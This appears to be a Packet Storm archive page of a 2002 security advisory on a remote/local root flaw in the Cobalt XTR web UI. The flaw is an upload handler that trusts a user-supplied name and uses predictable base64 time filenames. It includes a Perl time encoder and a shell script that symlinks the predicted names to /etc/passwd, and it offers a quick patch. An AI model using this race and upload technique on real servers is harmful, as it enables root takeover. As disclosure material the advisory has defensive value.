what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

DLA-02-03-2002.txt

DLA-02-03-2002.txt
Posted Mar 13, 2002
Authored by Wouter ter Maat | Site digit-labs.org

Some areas of the Cobalt XTR UI are not .htaccess protected, allowing remote users to exploit the MultiFileUpload.php remote root vulnerability. Requires shell access to exploit. Includes a perl script to base64 encode the time for filename guessing.

tags | remote, shell, root, perl, php
SHA-256 | 0335dc5f5c37c8c68507a7da7f1bc5e9845dec9c23e2c1867d5f13a90ff49b69

DLA-02-03-2002.txt

Change Mirror Download
-----------------------------------------------------------------
Topic : Combined (Remote/Local root) Cobalt XTR vulnerabilities
Date : 02-03-2002
Author : Wouter ter Maat aka grazer@digit-labs.org
Url : http://www.digit-labs.org
-----------------------------------------------------------------

Description : Some areas of the Cobalt XTR UI are not .htaccess protected,
Therefore users can access MultiFileUpload.php
from remote.
MultiFileUploadHandler.php handles upload request
posted from MultiFileUpload.php.
Due to an authentication bug in the upload Handler,
users can write files to the filesystem as any
valid user on the system, including root.


Exploitation : To exploit this vulnerability, you need shell access
(or be creative).

----- snippet of MultiFileUPload.php -----
// get uid
$pwnam = posix_getpwnam($PHP_AUTH_USER);
$uid = $pwnam["uid"];
// get filename
$baseName = base64_encode(time());
$fullName = "/tmp/" . $baseName;
------------------------------------------

As you can see, user information is read to $pwnam, which
is the return value of function posix_getpwnam($PHP_AUTH_USER);
PHP_AUTH_USER can be modified to each desired value (remote)
(i prefer root :P).

The Next problem, lies in the base64 encoding of the filename,
which is predictable. If you can predict the base64 filenames
for example the next ten minutes (time()), and create symbolic
links to /etc/passwd, you will have exactly ten minutes to
exploit the machine.

After the symlinks have been created (script to create base64
symlink is below), you will need to upload your modified
target file (script set to /etc/passwd).
You can upload your file at
https://<cobalt_xtr_host>:81/uifc/MultFileUploadHandler.php
(if you know how forms work, and understand the authentication error :P).

Quick patch : Create a .htaccess file in the uifc directory.


Vendor status : Sun Cobalt was notified at the day of writing.


---------------- local-timerace-xtr.pl -----------------
#!/usr/bin/perl
# mass base64 time encoder
# part of Cobalt UIFC XTR remote/local combination attack


use MIME::Base64;
$evil_time = time();

$exploit_secs = 10; # time in seconds you got to exploit this bug (race)

for($i=1;$i<=$exploit_secs; $i++) {
$evil_time = $evil_time+1;
$evilstr = encode_base64($evil_time);
print $evilstr;
}
-------------------------------------------------------



------------------- symlink-time.sh -------------------
#!/bin/sh
#Script for creating symlinks from output of local-timerace-xtr

for foo in `perl -x xtr-timerace-xtr.pl`
do
ln -s /etc/passwd $foo
done
-------------------------------------------------------



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close